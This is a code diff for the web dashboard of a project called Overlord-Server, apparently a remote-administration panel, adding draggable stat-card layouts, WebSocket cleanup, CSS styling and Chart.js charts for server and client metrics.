+ localStorage.removeItem(STATS_HIDDEN_KEY);
+ for (const id of DEFAULT_CARD_ORDER) {
+ setStatsCardHidden(id, false, false);
+ }
+ syncStatsCardMenu();
+ if (!statsGrid) {
+ const content = $("dashboard-stats-content");
+ if (content) applySavedOrder(content);
+ return;
+ }
+ applyGridLayout(DEFAULT_CARD_ORDER.map((id) => ({ id, ...DEFAULT_GRID_LAYOUT[id] })));
+}
+
+function initStatsGrid(content) {
+ if (!content || content.dataset.gridstackBound === "true") return;
+ const api = window.GridStack?.GridStack || window.GridStack;
+ if (typeof api?.init !== "function") {
+ applySavedOrder(content);
+ applyHiddenStatsCards();
+ return;
+ }
+
+ content.dataset.gridstackBound = "true";
+ statsGrid = api.init({
+ column: 12,
+ cellHeight: getStatsCellHeight(),
+ margin: 6,
+ animate: true,
+ float: false,
+ handle: ".grid-stack-item-content",
+ draggable: {
+ handle: ".grid-stack-item-content",
+ appendTo: "body",
+ scroll: true,
+ },
+ resizable: { handles: "se" },
+ }, content);
+
+ applySavedGridLayout();
+ applyHiddenStatsCards();
+ statsGrid.on("change dragstop resizestop", () => {
+ syncStatsWidgetHeights();
+ saveStatsGridLayout();
+ resizeCharts();
+ });
+ syncStatsWidgetHeights();
+ resizeCharts();
+}
+
function updateOnlineChart(history, snapshot) {
if (!onlineChart) return;
const rows = aggregateOnlineHistory(history, snapshot);
@@ -386,6 +641,8 @@ async function fetchDashboardMetrics() {
export function initDashboardStats() {
if (initialized) return;
initialized = true;
+ window.removeEventListener("pagehide", teardownDashboardStats);
+ window.addEventListener("pagehide", teardownDashboardStats);
if (!makeCharts()) {
setTimeout(() => {
if (makeCharts()) applyHeightMode(getSavedHeight());
@@ -403,18 +660,15 @@ function initStatsToggle() {
const resizer = $("dashboard-stats-resizer");
if (!shell || !button) return;
- const resizeCharts = () => {
- requestAnimationFrame(() => {
- onlineChart?.resize();
- osChart?.resize();
- });
- };
-
const setHeight = (value, persist = true) => {
const height = normalizeHeight(value);
shell.style.setProperty("--dashboard-stats-height", `${height}px`);
resizer?.setAttribute("aria-valuenow", String(height));
if (persist) localStorage.setItem(STATS_HEIGHT_KEY, String(height));
+ if (statsGrid) {
+ statsGrid.cellHeight(getStatsCellHeight());
+ syncStatsWidgetHeights();
+ }
applyHeightMode(height);
resizeCharts();
};
@@ -429,7 +683,8 @@ function initStatsToggle() {
localStorage.setItem(STATS_COLLAPSED_KEY, collapsed ? "true" : "false");
};
- initCardReorder();
+ initStatsGrid($("dashboard-stats-content"));
+ initStatsCardMenu();
initPulseReorder();
setHeight(getSavedHeight(), false);
setCollapsed(localStorage.getItem(STATS_COLLAPSED_KEY) === "true");
@@ -483,10 +738,9 @@ function initStatsToggle() {
resetButton?.addEventListener("click", () => {
setHeight(DEFAULT_STATS_HEIGHT);
setCollapsed(false);
+ resetStatsGridLayout();
localStorage.removeItem(STATS_ORDER_KEY);
localStorage.removeItem(PULSE_ORDER_KEY);
- const content = $("dashboard-stats-content");
- if (content) applySavedOrder(content);
const pulseList = document.querySelector(".dashboard-health-list");
if (pulseList) applyPulseOrder(pulseList);
});
diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js
index 9d8ecb7..7efedd9 100644
--- a/Overlord-Server/public/assets/data.js
+++ b/Overlord-Server/public/assets/data.js
@@ -14,6 +14,29 @@ let dashboardWsConnected = false;
let wsReconnectTimer = null;
const manuallyDisconnecting = new Set();
+function stopDashboardRealtime() {
+ clearInterval(pollTimer);
+ pollTimer = null;
+ clearTimeout(wsReconnectTimer);
+ wsReconnectTimer = null;
+ if (dashboardWs) {
+ try {
+ dashboardWs.onopen = null;
+ dashboardWs.onmessage = null;
+ dashboardWs.onerror = null;
+ dashboardWs.onclose = null;
+ dashboardWs.close(1000, "page hidden");
+ } catch {}
+ }
+ dashboardWs = null;
+ dashboardWsConnected = false;
+}
+
+function bindDashboardPagehideCleanup() {
+ window.removeEventListener("pagehide", stopDashboardRealtime);
+ window.addEventListener("pagehide", stopDashboardRealtime);
+}
+
function moveClientCardImmediately(msg) {
const clientId = typeof msg?.clientId === "string" ? msg.clientId : "";
if (!clientId) return;
@@ -243,6 +266,7 @@ function adjustPollingForWs() {
}
export function startAutoRefresh(intervalMs = POLL_INTERVAL_MS) {
+ bindDashboardPagehideCleanup();
connectDashboardWs();
const effectiveInterval = dashboardWsConnected
? FALLBACK_POLL_MS
diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css
index 625b1f5..08560db 100644
--- a/Overlord-Server/public/assets/main.css
+++ b/Overlord-Server/public/assets/main.css
@@ -1135,6 +1135,311 @@ article.card[data-bookmarked="true"] {
justify-content: center;
}
+.graph-shell {
+ min-height: calc(100vh - 64px);
+ display: grid;
+ grid-template-rows: auto 1fr;
+ gap: 14px;
+ padding: 18px 20px 20px;
+}
+
+.graph-toolbar {
+ display: flex;
+ align-items: center;
+ justify-content: space-between;
+ gap: 16px;
+ min-width: 0;
+ border: 1px solid rgba(30, 41, 59, 0.86);
+ background: rgba(2, 6, 23, 0.78);
+ border-radius: 8px;
+ padding: 12px;
+}
+
+.graph-title {
+ display: flex;
+ align-items: center;
+ gap: 12px;
+ min-width: 0;
+}
+
+.graph-title > i {
+ width: 36px;
+ height: 36px;
+ display: grid;
+ place-items: center;
+ border-radius: 8px;
+ background: rgba(8, 145, 178, 0.12);
+ color: #67e8f9;
+ border: 1px solid rgba(103, 232, 249, 0.18);
+}
+
+.graph-title h1 {
+ margin: 0;
+ font-size: 1rem;
+ font-weight: 700;
+ color: #e2e8f0;
+}
+
+.graph-title p {
+ margin: 2px 0 0;
+ color: #94a3b8;
+ font-size: 0.78rem;
+}
+
+.graph-controls {
+ display: flex;
+ align-items: center;
+ justify-content: flex-end;
+ flex-wrap: wrap;
+ gap: 8px;
+}
+
+.graph-field {
+ height: 38px;
+ min-width: min(280px, 44vw);
+ display: flex;
+ align-items: center;
+ gap: 8px;
+ border: 1px solid rgba(51, 65, 85, 0.95);
+ border-radius: 8px;
+ background: rgba(15, 23, 42, 0.92);
+ color: #94a3b8;
+ padding: 0 10px;
+}
+
+.graph-field:focus-within {
+ border-color: rgba(56, 189, 248, 0.65);
+ box-shadow: 0 0 0 3px rgba(14, 165, 233, 0.12);
+}
+
+.graph-field input {
+ width: 100%;
+ min-width: 0;
+ border: 0;
+ outline: 0;
+ background: transparent;
+ color: #e2e8f0;
+ font-size: 0.86rem;
+}
+
+.graph-select {
+ height: 38px;
+ border: 1px solid rgba(51, 65, 85, 0.95);
+ border-radius: 8px;
+ background: #0f172a;
+ color: #dbeafe;
+ padding: 0 10px;
+ font-size: 0.84rem;
+}
+
+.graph-workspace {
+ min-height: 0;
+ display: grid;
+ grid-template-columns: minmax(0, 1fr) 320px;
+ gap: 14px;
+}
+
+.graph-canvas {
+ min-height: 560px;
+ height: calc(100vh - 170px);
+ border: 1px solid rgba(30, 41, 59, 0.9);
+ border-radius: 8px;
+ background:
+ linear-gradient(rgba(15, 23, 42, 0.86), rgba(2, 6, 23, 0.94)),
+ linear-gradient(90deg, rgba(148, 163, 184, 0.06) 1px, transparent 1px),
+ linear-gradient(rgba(148, 163, 184, 0.06) 1px, transparent 1px);
+ background-size: auto, 34px 34px, 34px 34px;
+ overflow: hidden;
+}
+
+.graph-inspector {
+ min-height: 0;
+ height: calc(100vh - 170px);
+ overflow: auto;
+ border: 1px solid rgba(148, 163, 184, 0.14);
+ border-radius: 8px;
+ background: #141c2b;
+ box-shadow:
+ 0 14px 38px rgba(0, 0, 0, 0.26),
+ inset 0 1px 0 rgba(255, 255, 255, 0.03);
+ padding: 8px;
+ scrollbar-color: rgba(100, 116, 139, 0.7) transparent;
+}
+
+.graph-inspector-kicker {
+ color: #94a3b8;
+ font-size: 0.68rem;
+ font-weight: 700;
+ text-transform: uppercase;
+ letter-spacing: 0.1em;
+ padding: 8px 8px 0;
+}
+
+.graph-inspector h2 {
+ margin: 4px 8px 10px;
+ color: #f8fafc;
+ font-size: 1.05rem;
+ line-height: 1.25;
+ overflow-wrap: anywhere;
+}
+
+.graph-detail-meta {
+ display: grid;
+ gap: 1px;
+ padding: 4px;
+ border-top: 1px solid rgba(148, 163, 184, 0.13);
+ border-bottom: 1px solid rgba(148, 163, 184, 0.13);
+}
+
+.graph-meta-row {
+ display: grid;
+ grid-template-columns: 82px minmax(0, 1fr);
+ align-items: center;
+ gap: 10px;
+ min-height: 32px;
+ border-radius: 5px;
+ padding: 6px 8px;
+ background: transparent;
+}
+
+.graph-meta-row span {
+ color: #7c8aa0;
+ font-size: 0.68rem;
+ font-weight: 700;
+ text-transform: uppercase;
+ letter-spacing: 0.06em;
+}
+
+.graph-meta-row strong {
+ color: #cbd5e1;
+ font-size: 0.8rem;
+ font-weight: 600;
+ overflow-wrap: anywhere;
+}
+
+.graph-meta-row:hover {
+ background: rgba(71, 85, 105, 0.32);
+}
+
+.graph-detail-actions {
+ display: grid;
+ gap: 1px;
+ margin-top: 8px;
+ padding: 4px;
+}
+
+.graph-action-note {
+ width: 100%;
+ display: flex;
+ align-items: center;
+ gap: 8px;
+ color: #fca5a5;
+ background: rgba(127, 29, 29, 0.18);
+ border: 1px solid rgba(248, 113, 113, 0.14);
+ border-radius: 5px;
+ padding: 7px 10px;
+ font-size: 0.78rem;
+ font-weight: 600;
+ margin-bottom: 4px;
+}
+
+.graph-action {
+ min-height: 34px;
+ width: 100%;
+ display: flex;
+ align-items: center;
+ justify-content: flex-start;
+ gap: 9px;
+ border-radius: 5px;
+ border: none;
+ background: transparent;
+ color: #cbd5e1;
+ padding: 7px 10px;
+ font-size: 0.82rem;
+ font-weight: 600;
+ text-align: left;
+ transition: background 0.1s ease, color 0.1s ease;
+}
+
+.graph-action:hover:not(:disabled) {
+ background: rgba(71, 85, 105, 0.55);
+ color: #f1f5f9;
+}
+
+.graph-action:disabled {
+ cursor: not-allowed;
+ opacity: 0.38;
+ filter: grayscale(0.55);
+}
+
+.graph-action--remote {
+ color: #cbd5e1;
+}
+
+.graph-action--remote i {
+ color: #c084fc;
+ width: 16px;
+ text-align: center;
+}
+
+.graph-action--console {
+ color: #cbd5e1;
+}
+
+.graph-action--console i {
+ color: #34d399;
+ width: 16px;
+ text-align: center;
+}
+
+.graph-action--files {
+ color: #cbd5e1;
+}
+
+.graph-action--files i {
+ color: #60a5fa;
+ width: 16px;
+ text-align: center;
+}
+
+.graph-action--copy {
+ color: #cbd5e1;
+}
+
+.graph-action--copy i {
+ color: #94a3b8;
+ width: 16px;
+ text-align: center;
+}
+
+@media (max-width: 980px) {
+ .graph-toolbar {
+ align-items: stretch;
+ flex-direction: column;
+ }
+
+ .graph-controls {
+ justify-content: flex-start;
+ }
+
+ .graph-field {
+ min-width: min(100%, 360px);
+ }
+
+ .graph-workspace {
+ grid-template-columns: 1fr;
+ }
+
+ .graph-canvas,
+ .graph-inspector {
+ height: auto;
+ }
+
+ .graph-canvas {
+ min-height: 520px;
+ }
+}
+
@keyframes radioactiveShake {
0%,
100% {
@@ -1828,6 +2133,35 @@ mark.search-current {
z-index: 10;
width: 100%;
min-height: 60px;
+ background: rgba(2, 6, 23, 0.92);
+ border-bottom: 1px solid rgba(30, 41, 59, 0.95);
+ backdrop-filter: blur(12px);
+ -webkit-backdrop-filter: blur(12px);
+}
+
+#top-nav:empty::before {
+ content: "Overlord";
+ display: flex;
+ align-items: center;
+ height: 60px;
+ padding: 0 20px;
+ color: #e2e8f0;
+ font-size: 0.95rem;
+ font-weight: 700;
+ letter-spacing: 0.02em;
+}
+
+html.nav-pre-sidebar #top-nav:empty::before {
+ align-items: flex-start;
+ height: auto;
+ padding: 18px 14px 14px;
+ border-bottom: 1px solid rgba(255, 255, 255, 0.06);
+}
+
+html.nav-pre-sidebar.nav-pre-collapsed #top-nav:empty::before {
+ content: "O";
+ justify-content: center;
+ padding-inline: 0;
}
#top-nav nav a {
@@ -4547,11 +4881,59 @@ body.sb-ready #top-nav {
border-color: rgba(71, 85, 105, 0.8);
}
-.dashboard-stats-content {
+.dashboard-card-menu {
+ position: relative;
+}
+
+.dashboard-card-menu > summary {
+ list-style: none;
+}
+
+.dashboard-card-menu > summary::-webkit-details-marker {
+ display: none;
+}
+
+.dashboard-card-menu-panel {
+ position: absolute;
+ top: calc(100% + 8px);
+ right: 0;
+ z-index: 45;
display: grid;
- grid-template-columns: minmax(150px, 0.85fr) minmax(150px, 0.85fr) minmax(260px, 1.45fr) minmax(260px, 1.35fr) minmax(220px, 1fr);
- gap: 12px;
- align-items: stretch;
+ gap: 6px;
+ width: 196px;
+ padding: 10px;
+ border: 1px solid rgba(51, 65, 85, 0.82);
+ border-radius: 8px;
+ background: rgba(15, 23, 42, 0.98);
+ box-shadow: 0 18px 38px rgba(2, 6, 23, 0.42);
+}
+
+.dashboard-card-menu-panel label {
+ display: flex;
+ align-items: center;
+ gap: 8px;
+ min-width: 0;
+ padding: 6px 7px;
+ border-radius: 6px;
+ color: #cbd5e1;
+ font-size: var(--text-xs);
+ font-weight: 700;
+ cursor: pointer;
+}
+
+.dashboard-card-menu-panel label:hover {
+ background: rgba(51, 65, 85, 0.62);
+}
+
+.dashboard-card-menu-panel input {
+ accent-color: #38bdf8;
+}
+
+.dashboard-stats-content {
+ height: calc(var(--dashboard-stats-height) + 12px);
+ min-height: calc(var(--dashboard-stats-height) + 12px);
+ contain: layout paint;
+ overflow: hidden;
}
.dashboard-stats-shell.is-collapsed .dashboard-stats-content,
@@ -4594,6 +4976,7 @@ body.sb-ready #top-nav {
.dashboard-health-card {
position: relative;
min-width: 0;
+ height: 100%;
border: 1px solid rgba(51, 65, 85, 0.68);
border-radius: 10px;
background: rgba(15, 23, 42, 0.72);
@@ -4621,11 +5004,44 @@ body.sb-ready #top-nav {
border-color: rgba(56, 189, 248, 0.62);
}
+.dashboard-stats-content .grid-stack-item-content {
+ overflow: hidden !important;
+}
+
+.dashboard-stats-content .grid-stack-item.dashboard-card-hidden {
+ display: none;
+}
+
+.dashboard-stats-content .grid-stack-item.ui-draggable-dragging .grid-stack-item-content,
+.dashboard-stats-content .grid-stack-item.ui-resizable-resizing .grid-stack-item-content {
+ border-color: rgba(56, 189, 248, 0.62);
+ box-shadow: 0 18px 42px rgba(2, 6, 23, 0.42);
+}
+
+.dashboard-stats-content .grid-stack-placeholder > .placeholder-content,
+.dashboard-stats-content .grid-stack-placeholder > .grid-stack-item-content {
+ border: 1px dashed rgba(56, 189, 248, 0.58);
+ border-radius: 10px;
+ background: rgba(8, 47, 73, 0.22);
+}
+
+.dashboard-stats-content .ui-resizable-se {
+ right: 8px !important;
+ bottom: 8px !important;
+ width: 14px;
+ height: 14px;
+ opacity: 0;
+ transition: opacity 140ms ease;
+}
+
+.dashboard-stats-content .grid-stack-item:hover .ui-resizable-se {
+ opacity: 0.72;
+}
+
.dashboard-stat-card {
display: flex;
flex-direction: column;
justify-content: space-between;
- height: var(--dashboard-stats-height);
padding: 14px;
}
@@ -4684,7 +5100,6 @@ body.sb-ready #top-nav {
.dashboard-chart-card,
.dashboard-health-card {
- height: var(--dashboard-stats-height);
padding: 12px 14px 10px;
}
@@ -4734,6 +5149,12 @@ body.sb-ready #top-nav {
padding-bottom: 8px;
}
+.dashboard-chart-wrap canvas {
+ display: block;
+ max-width: 100%;
+ max-height: 100%;
+}
+
.dashboard-health-list {
position: relative;
z-index: 1;
@@ -4822,37 +5243,7 @@ body.sb-ready #top-nav {
box-shadow: 0 0 0 4px rgba(100, 116, 139, 0.1);
}
-@media (max-width: 1380px) {
- .dashboard-stats-content {
- grid-template-columns: repeat(2, minmax(150px, 1fr)) repeat(2, minmax(260px, 1.35fr));
- }
-
- .dashboard-health-card {
- grid-column: span 2;
- }
-}
-
-@media (max-width: 940px) {
- .dashboard-stats-content {
- grid-template-columns: repeat(2, minmax(0, 1fr));
- }
-
- .dashboard-chart-card,
- .dashboard-health-card {
- grid-column: span 2;
- }
-}
-
@media (max-width: 620px) {
- .dashboard-stats-content {
- grid-template-columns: 1fr;
- }
-
- .dashboard-chart-card,
- .dashboard-health-card {
- grid-column: auto;
- }
-
.dashboard-stat-value {
font-size: clamp(1.65rem, calc(var(--dashboard-stats-height) / 3.4), 3rem);
}
diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js
index d1573d6..7bb3e6e 100644
--- a/Overlord-Server/public/assets/metrics.js
+++ b/Overlord-Server/public/assets/metrics.js
@@ -1,5 +1,12 @@
let clientsChart = null;
let commandsChart = null;
+let bandwidthChart = null;
+let httpRequestsChart = null;
+let httpChart = null;
+let memoryChart = null;
+let eventLoopChart = null;
+let sessionsChart = null;
+let osChart = null;
let countryMap = null;
let countriesLayer = null;
let countryCounts = {};
@@ -7,6 +14,8 @@ let maxCountryCount = 0;
let latestByCountry = {};
const GEOJSON_URL = "/vendor/geo-countries/countries.geojson";
+const MAX_CHART_POINTS = 240;
+const METRICS_POLL_INTERVAL_MS = 5000;
if (typeof Chart !== "undefined") {
Chart.defaults.color = "#cbd5e1";
@@ -14,9 +23,69 @@ if (typeof Chart !== "undefined") {
Chart.defaults.font.family = "Inter, system-ui, sans-serif";
}
+function chartTooltip() {
+ return {
+ backgroundColor: "#0f172a",
+ titleColor: "#e2e8f0",
+ bodyColor: "#cbd5e1",
+ borderColor: "#334155",
+ borderWidth: 1,
+ };
+}
+
+function lineChartOptions(extra = {}) {
+ const extraPlugins = extra.plugins || {};
+ return {
+ responsive: true,
+ maintainAspectRatio: false,
+ animation: false,
+ interaction: { mode: "index", intersect: false },
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8" },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ x: {
+ ticks: {
+ color: "#94a3b8",
+ maxTicksLimit: 6,
+ autoSkip: true,
+ maxRotation: 0,
+ },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ ...(extra.scales || {}),
+ },
+ ...extra,
+ plugins: {
+ legend:
+ extraPlugins.legend ?? { display: true, labels: { boxWidth: 10, boxHeight: 10 } },
+ tooltip: chartTooltip(),
+ ...extraPlugins,
+ },
+ };
+}
+
+function makeLineChart(canvas, datasets, options = {}) {
+ if (!canvas) return null;
+ return new Chart(canvas, {
+ type: "line",
+ data: { labels: [], datasets },
+ options: lineChartOptions(options),
+ });
+}
+
function initCharts() {
const clientsCtx = document.getElementById("clients-chart");
const commandsCtx = document.getElementById("commands-chart");
+ const bandwidthCtx = document.getElementById("bandwidth-chart");
+ const httpRequestsCtx = document.getElementById("http-requests-chart");
+ const httpCtx = document.getElementById("http-chart");
+ const memoryCtx = document.getElementById("memory-chart");
+ const eventLoopCtx = document.getElementById("event-loop-chart");
+ const sessionsCtx = document.getElementById("sessions-chart");
+ const osCtx = document.getElementById("os-chart");
clientsChart = new Chart(clientsCtx, {
type: "line",
@@ -119,13 +188,283 @@ function initCharts() {
},
},
});
+
+ bandwidthChart = makeLineChart(
+ bandwidthCtx,
+ [
+ {
+ label: "Sent/s",
+ data: [],
+ borderColor: "rgb(251, 146, 60)",
+ backgroundColor: "rgba(251, 146, 60, 0.12)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ {
+ label: "Received/s",
+ data: [],
+ borderColor: "rgb(56, 189, 248)",
+ backgroundColor: "rgba(56, 189, 248, 0.1)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ ],
+ {
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: {
+ color: "#94a3b8",
+ callback: (value) => formatBytes(Number(value)),
+ },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ );
+
+ httpRequestsChart = makeLineChart(
+ httpRequestsCtx,
+ [
+ {
+ label: "requests/min",
+ data: [],
+ borderColor: "rgb(52, 211, 153)",
+ backgroundColor: "rgba(52, 211, 153, 0.12)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ {
+ label: "errors/min",
+ data: [],
+ borderColor: "rgb(248, 113, 113)",
+ backgroundColor: "rgba(248, 113, 113, 0.14)",
+ fill: false,
+ tension: 0.25,
+ pointRadius: 0,
+ borderDash: [5, 4],
+ borderWidth: 2,
+ },
+ ],
+ {
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8", precision: 0 },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ );
+
+ httpChart = makeLineChart(
+ httpCtx,
+ [
+ {
+ label: "p99 ms",
+ data: [],
+ borderColor: "rgb(248, 113, 113)",
+ backgroundColor: "rgba(248, 113, 113, 0.08)",
+ fill: false,
+ tension: 0.35,
+ pointRadius: 0,
+ borderDash: [4, 4],
+ borderWidth: 2,
+ },
+ {
+ label: "p95 ms",
+ data: [],
+ borderColor: "rgb(244, 63, 94)",
+ backgroundColor: "rgba(244, 63, 94, 0.1)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ {
+ label: "avg ms",
+ data: [],
+ borderColor: "rgb(251, 191, 36)",
+ backgroundColor: "rgba(251, 191, 36, 0.08)",
+ fill: false,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ ],
+ {
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8", callback: (value) => `${Math.round(Number(value))} ms` },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ );
+
+ memoryChart = makeLineChart(
+ memoryCtx,
+ [
+ {
+ label: "Heap",
+ data: [],
+ borderColor: "rgb(34, 211, 238)",
+ backgroundColor: "rgba(34, 211, 238, 0.1)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ yAxisID: "y",
+ borderWidth: 2,
+ },
+ {
+ label: "RSS",
+ data: [],
+ borderColor: "rgb(129, 140, 248)",
+ backgroundColor: "rgba(129, 140, 248, 0.08)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ yAxisID: "y",
+ borderWidth: 2,
+ },
+ {
+ label: "System %",
+ data: [],
+ borderColor: "rgb(52, 211, 153)",
+ backgroundColor: "rgba(52, 211, 153, 0.08)",
+ fill: false,
+ tension: 0.35,
+ pointRadius: 0,
+ yAxisID: "y1",
+ borderWidth: 2,
+ },
+ ],
+ {
+ scales: {
+ y: {
+ beginAtZero: true,
+ position: "left",
+ ticks: { color: "#94a3b8", callback: (value) => formatBytes(Number(value)) },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ y1: {
+ beginAtZero: true,
+ max: 100,
+ position: "right",
+ ticks: { color: "#86efac", callback: (value) => `${Math.round(Number(value))}%` },
+ grid: { drawOnChartArea: false },
+ },
+ },
+ },
+ );
+
+ eventLoopChart = makeLineChart(
+ eventLoopCtx,
+ [
+ {
+ label: "p95 lag",
+ data: [],
+ borderColor: "rgb(251, 191, 36)",
+ backgroundColor: "rgba(251, 191, 36, 0.12)",
+ fill: true,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ {
+ label: "avg lag",
+ data: [],
+ borderColor: "rgb(96, 165, 250)",
+ backgroundColor: "rgba(96, 165, 250, 0.08)",
+ fill: false,
+ tension: 0.35,
+ pointRadius: 0,
+ borderWidth: 2,
+ },
+ ],
+ {
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8", callback: (value) => `${Math.round(Number(value))} ms` },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ );
+
+ sessionsChart = sessionsCtx ? new Chart(sessionsCtx, {
+ type: "doughnut",
+ data: {
+ labels: ["Console", "Remote Desktop", "Files", "Processes"],
+ datasets: [{
+ data: [0, 0, 0, 0],
+ backgroundColor: ["#34d399", "#c084fc", "#60a5fa", "#fb923c"],
+ borderColor: "#0f172a",
+ borderWidth: 2,
+ }],
+ },
+ options: {
+ responsive: true,
+ maintainAspectRatio: false,
+ animation: false,
+ cutout: "64%",
+ plugins: {
+ legend: { position: "right", labels: { boxWidth: 10, boxHeight: 10 } },
+ tooltip: chartTooltip(),
+ },
+ },
+ }) : null;
+
+ osChart = osCtx ? new Chart(osCtx, {
+ type: "bar",
+ data: {
+ labels: [],
+ datasets: [{
+ label: "Clients",
+ data: [],
+ backgroundColor: "rgba(56, 189, 248, 0.5)",
+ borderColor: "rgb(56, 189, 248)",
+ borderWidth: 1,
+ }],
+ },
+ options: {
+ indexAxis: "y",
+ responsive: true,
+ maintainAspectRatio: false,
+ animation: false,
+ plugins: {
+ legend: { display: false },
+ tooltip: chartTooltip(),
+ },
+ scales: {
+ x: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8", precision: 0 },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ y: {
+ ticks: { color: "#94a3b8" },
+ grid: { display: false },
+ },
+ },
+ },
+ }) : null;
}
function formatBytes(bytes) {
- if (bytes === 0) return "0 B";
+ if (!Number.isFinite(bytes) || bytes <= 0) return "0 B";
+ if (bytes < 1) return `${bytes.toFixed(2)} B`;
const k = 1024;
const sizes = ["B", "KB", "MB", "GB", "TB"];
- const i = Math.floor(Math.log(bytes) / Math.log(k));
+ const i = Math.min(sizes.length - 1, Math.floor(Math.log(bytes) / Math.log(k)));
return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + " " + sizes[i];
}
@@ -269,6 +608,10 @@ function updateMetrics(data, debug) {
if (httpLatencyP95El) {
httpLatencyP95El.textContent = formatMs(data.http.latencyP95 || 0);
}
+ const httpLatencyP99El = document.getElementById("http-latency-p99");
+ if (httpLatencyP99El) {
+ httpLatencyP99El.textContent = formatMs(data.http.latencyP99 || 0);
+ }
const eventLoopAvgEl = document.getElementById("event-loop-avg");
if (eventLoopAvgEl) {
eventLoopAvgEl.textContent = formatMs(data.eventLoop.avg || 0);
@@ -314,6 +657,57 @@ function updateMetrics(data, debug) {
osList.innerHTML = 'No clients
';
}
+ if (sessionsChart) {
+ sessionsChart.data.datasets[0].data = [
+ data.sessions.console || 0,
+ data.sessions.remoteDesktop || 0,
+ data.sessions.fileBrowser || 0,
+ data.sessions.process || 0,
+ ];
+ sessionsChart.update("none");
+ }
+
+ if (osChart) {
+ const osEntries = Object.entries(data.clients.byOS || {})
+ .sort((a, b) => b[1] - a[1])
+ .slice(0, 10);
+ osChart.data.labels = osEntries.length ? osEntries.map(([label]) => label) : ["No clients"];
+ osChart.data.datasets[0].data = osEntries.length ? osEntries.map(([, count]) => count) : [0];
+ osChart.update("none");
+ }
+
+ const httpRoutesList = document.getElementById("http-routes");
+ if (httpRoutesList) {
+ const routes = Array.isArray(data.http.routes) ? data.http.routes : [];
+ if (routes.length > 0) {
+ httpRoutesList.innerHTML = routes
+ .map((route) => {
+ const errorClass = route.errorsLastMinute > 0 ? "text-red-300" : "text-slate-400";
+ return `
+
+
+ ${escapeHtml(route.route)}
+
+
+ p95
+ ${formatMs(route.latencyP95 || 0)}
+ avg
+ ${formatMs(route.latencyAvg || 0)}
+ req/min
+ ${Number(route.countLastMinute || 0).toLocaleString()}
+ errors
+ ${Number(route.errorsLastMinute || 0).toLocaleString()}
+
+
+ `;
+ })
+ .join("");
+ } else {
+ httpRoutesList.innerHTML =
+ 'No HTTP route samples yet
';
+ }
+ }
+
const commandTypesList = document.getElementById("command-types");
if (Object.keys(data.commands.byType).length > 0) {
const topCommands = Object.entries(data.commands.byType)
@@ -462,7 +856,11 @@ async function initCountryMap() {
}
function updateCharts(history, snapshot) {
- if (history.length === 0) {
+ const points = Array.isArray(history) && history.length > 0
+ ? history.slice(-MAX_CHART_POINTS)
+ : [];
+
+ if (points.length === 0) {
const now = new Date();
const label = formatTime(now.getTime());
@@ -473,26 +871,100 @@ function updateCharts(history, snapshot) {
commandsChart.data.labels = [label];
commandsChart.data.datasets[0].data = [snapshot.commands.lastMinute];
commandsChart.update("none");
+
+ if (bandwidthChart) {
+ bandwidthChart.data.labels = [label];
+ bandwidthChart.data.datasets[0].data = [snapshot.bandwidth.sentPerSecond || 0];
+ bandwidthChart.data.datasets[1].data = [snapshot.bandwidth.receivedPerSecond || 0];
+ bandwidthChart.update("none");
+ }
+
+ if (httpChart) {
+ httpChart.data.labels = [label];
+ httpChart.data.datasets[0].data = [snapshot.http.latencyP99 || 0];
+ httpChart.data.datasets[1].data = [snapshot.http.latencyP95 || 0];
+ httpChart.data.datasets[2].data = [snapshot.http.latencyAvg || 0];
+ httpChart.update("none");
+ }
+
+ if (httpRequestsChart) {
+ httpRequestsChart.data.labels = [label];
+ httpRequestsChart.data.datasets[0].data = [snapshot.http.lastMinute || 0];
+ httpRequestsChart.data.datasets[1].data = [snapshot.http.lastMinuteErrors || 0];
+ httpRequestsChart.update("none");
+ }
+
+ if (memoryChart) {
+ memoryChart.data.labels = [label];
+ memoryChart.data.datasets[0].data = [snapshot.server.memoryUsage.heapUsed || 0];
+ memoryChart.data.datasets[1].data = [snapshot.server.memoryUsage.rss || 0];
+ memoryChart.data.datasets[2].data = [snapshot.server.systemMemory.usedPercent || 0];
+ memoryChart.update("none");
+ }
+
+ if (eventLoopChart) {
+ eventLoopChart.data.labels = [label];
+ eventLoopChart.data.datasets[0].data = [snapshot.eventLoop.p95 || 0];
+ eventLoopChart.data.datasets[1].data = [snapshot.eventLoop.avg || 0];
+ eventLoopChart.update("none");
+ }
return;
}
- const labels = history.map((h) => formatTime(h.timestamp));
- const clientsData = history.map((h) => h.clientsOnline);
+ const labels = points.map((h) => formatTime(h.timestamp));
+ const clientsData = points.map((h) => h.clientsOnline || 0);
clientsChart.data.labels = labels;
clientsChart.data.datasets[0].data = clientsData;
